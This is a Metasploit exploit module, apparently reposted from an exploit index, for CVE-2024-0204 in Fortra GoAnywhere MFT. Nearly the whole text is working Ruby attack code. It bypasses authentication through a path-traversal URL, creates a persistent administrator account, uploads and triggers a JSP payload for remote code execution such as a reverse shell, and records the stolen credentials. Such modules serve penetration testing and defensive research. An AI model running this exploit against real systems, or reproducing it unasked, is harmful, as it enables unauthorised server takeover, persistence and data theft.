Share
## https://sploitus.com/exploit?id=PACKETSTORM:176974
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::FileDropper  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to  
create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere  
MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # MSF RCE Exploit  
'James Horseman', # Original auth bypass PoC/Analysis  
'Zach Hanley' # Original auth bypass PoC/Analysis  
],  
'References' => [  
['CVE', '2024-0204'],  
['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory  
['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/']  
],  
'DisclosureDate' => '2024-01-22',  
'Platform' => %w[linux win],  
'Arch' => [ARCH_JAVA],  
'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux.  
'Targets' => [  
[  
# Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp  
'Automatic', {}  
],  
[  
'Linux',  
{  
'Platform' => 'linux',  
'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere'  
}  
],  
[  
'Windows',  
{  
'Platform' => 'win',  
'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\'  
},  
],  
],  
'DefaultOptions' => {  
'RPORT' => 8001,  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS,  
# A new admin account is created, which the exploit can't destroy.  
CONFIG_CHANGES,  
# The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.  
ARTIFACTS_ON_DISK  
]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']),  
]  
)  
end  
  
def check  
# We can query an undocumented unauthenticated REST API endpoint and pull the version number.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200  
  
json_data = res.get_json_document  
  
product = json_data.dig('data', 'product')  
  
version = json_data.dig('data', 'version')  
  
return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?  
  
# As per the Fortra advisory, the following version are affected:  
# * Fortra GoAnywhere MFT 6.x from 6.0.1  
# * Fortra GoAnywhere MFT 7.x before 7.4.1  
# This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.  
if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))  
return CheckCode::Appears("#{product} #{version}")  
end  
  
Exploit::CheckCode::Safe("#{product} #{version}")  
end  
  
def exploit  
# CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So  
# we generate the username/password pair we want to use.  
# Note: We cannot delete the administrator account that we create.  
admin_username = Rex::Text.rand_text_alpha_lower(8)  
admin_password = Rex::Text.rand_text_alphanumeric(16)  
  
# By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to  
# the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double  
# dot path segment, we need a directory to navigate down from, there are many available on the target so we pick  
# a random one that we know works.  
path_segments = %w[styles fonts auth help]  
  
path_segment = path_segments.sample  
  
# This is CVE-2024-0204...  
initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml"  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint),  
'keep_cookies' => true,  
'vars_post' => {  
'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint),  
'j_id_u:creteAdminGrid:username' => admin_username,  
'j_id_u:creteAdminGrid:password' => admin_password,  
'j_id_u:creteAdminGrid:password_hinput' => admin_password,  
'j_id_u:creteAdminGrid:confirmPassword' => admin_password,  
'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password,  
'j_id_u:creteAdminGrid:submitButton' => '',  
'createAdminForm_SUBMIT' => 1  
}  
)  
  
# The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method  
# loginNewAdminUser and update our current session, so we dont need to manually login.  
unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml')  
fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}")  
end  
  
print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")  
  
store_credentials(admin_username, admin_password)  
  
# Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.  
if target.name == 'Automatic'  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'),  
'keep_cookies' => true  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml')  
end  
  
# The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using  
# the Java system property "os.name".  
os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>})  
unless os_match  
fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml')  
end  
  
# To perform the JSP payload upload, we need to know the product installation path.  
install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>})  
unless install_match  
fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml')  
end  
  
# Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.  
found_target = targets.find do |t|  
os_match[1].downcase.include? t.name.downcase  
end  
  
unless found_target  
fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'")  
end  
  
# Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.  
detected_target = found_target.dup  
  
detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1]  
  
print_status("Automatic targeting, detected OS: #{detected_target.name}")  
print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}")  
else  
detected_target = target  
end  
  
# We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then  
# change to the directory we want to upload to, then upload the file.  
  
path_separator = detected_target['Platform'] == 'win' ? '\\' : '/'  
  
# We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp  
adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH']  
adminroot_path += path_separator unless adminroot_path.end_with? path_separator  
adminroot_path += 'adminroot'  
adminroot_path += path_separator  
  
viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),  
'keep_cookies' => true,  
'vars_post' => {  
'javax.faces.ViewState' => viewstate,  
'j_id_4u:j_id_4v:newPath_focus' => '',  
'j_id_4u:j_id_4v:newPath_input' => '/',  
'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path,  
'j_id_4u:j_id_4v:NewPathButton' => '',  
'j_id_4u_SUBMIT' => 1  
}  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml')  
end  
  
# We require a regID value form the page to upload a file, so we pull that out here.  
vs_input = res.get_html_document.at('input[name="reqId"]')  
  
unless vs_input&.key? 'value'  
fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml')  
end  
  
request_id = vs_input['value']  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),  
'keep_cookies' => true,  
'vars_post' => {  
'javax.faces.ViewState' => viewstate,  
'javax.faces.partial.ajax' => 'true',  
'javax.faces.source' => 'uploadID',  
'javax.faces.partial.execute' => 'uploadID',  
'javax.faces.partial.render' => '@none',  
'uploadID' => 'uploadID',  
'uploadID_sessionCheck' => 'true',  
'reqId' => request_id,  
'whenFileExists_focus' => '',  
'whenFileExists_input' => 'rename',  
'uploaderType' => 'filemanager',  
'j_id_4i_SUBMIT' => 1  
}  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml')  
end  
  
jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp'  
  
message = Rex::MIME::Message.new  
  
message.add_part(request_id, nil, nil, 'form-data; name="reqId"')  
message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"')  
message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"')  
message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"')  
message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"')  
message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"')  
message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"')  
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"')  
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"')  
message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"')  
message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"")  
  
# We can now upload our payload...  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),  
'keep_cookies' => true,  
'ctype' => 'multipart/form-data; boundary=' + message.bound,  
'data' => message.to_s  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml')  
end  
  
# Register our payload so it is deleted when the session is created.  
  
jsp_filepath = adminroot_path + jsp_filename  
  
print_status("Dropped payload: #{jsp_filepath}")  
  
# We are using the FileDropper mixin to automatically delete this file after a session has been created.  
register_file_for_cleanup(jsp_filepath)  
  
# A copy of the files this user uploads is left here:  
# /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp  
# We register these to be deleted, but they appear to be locked, preventing deleting.  
userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH']  
userdoc_path += path_separator unless userdoc_path.end_with? path_separator  
userdoc_path += 'userdata'  
userdoc_path += path_separator  
userdoc_path += 'documents'  
userdoc_path += path_separator  
userdoc_path += admin_username  
userdoc_path += path_separator  
  
register_file_for_cleanup(userdoc_path + jsp_filename)  
  
register_dir_for_cleanup(userdoc_path)  
  
# Finally, trigger our payload via a GET request...  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, jsp_filename)  
)  
  
# NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web  
# interface or REST API.  
end  
  
# Helper method to pull out a viewstate identifier from a requests HTML response.  
def get_viewstate(endpoint)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, endpoint),  
'keep_cookies' => true  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.")  
end  
  
vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]')  
  
unless vs_input&.key? 'value'  
fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.")  
end  
  
vs_input['value']  
end  
  
def store_credentials(username, password)  
service_data = {  
address: datastore['RHOST'],  
port: datastore['RPORT'],  
service_name: 'GoAnywhere MFT Admin Interface',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: username,  
private_data: password,  
private_type: :password  
}.merge(service_data)  
  
credential_core = create_credential(credential_data)  
  
login_data = {  
core: credential_core,  
last_attempted_at: DateTime.now,  
status: Metasploit::Model::Login::Status::SUCCESSFUL  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
end